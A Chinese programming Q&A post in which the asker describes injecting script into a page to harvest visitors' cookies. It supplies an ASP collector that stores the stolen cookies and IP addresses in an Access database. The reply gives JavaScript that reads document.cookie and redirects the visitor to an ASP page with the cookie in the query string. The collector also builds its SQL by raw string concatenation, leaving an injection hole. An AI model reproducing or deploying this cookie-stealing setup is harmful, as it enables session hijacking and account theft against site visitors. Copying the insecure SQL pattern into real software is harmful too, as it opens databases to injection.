在js中获得cookies然后提交到asp的问题
在js中获得cookies然后提交到asp的问题
比如说,在代码中插入一个css,然后利用js脚本来获得访问者的cookies,最后提交到asp中去存储到数据库中去。
asp代码我已经写好,如下:
<%
Set conn=Server.CreateObject("ADODB.Connection")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq="& Server.MapPath("co.mdb")
Cookies=request("Cookies")
IP=request.serverVariables("remote_host")
sql="insert into co(Cookies,IP) values('"&Cookies&"','"&IP&"')"
conn.execute(sql)
set conn=nothing
%>
------解决方案--------------------
按贱名称获得cookie的函数
function getcookie(name)
{
var cookief=false;
var start=0;
var end=0;
var cookiestr=document.cookie;
var i=0;
while(i<=cookiestr.length)
{
start=i;
end=start+name.length;
if(cookiestr.substring(start,end)==name)
{
cookief=true;
break;
}
i++;
}
if(cookief)
{
start=end+1;
end=cookiestr.length;
return unescape(cookiestr.substring(start,end));
}
return "";
}
var cookie=getcookie("cookies");
if(cookie=="")
alert("cookies为空!");
else
window.location="xxxxxxxxx.asp?cookies="+cookie;//把cookie的值传到服务器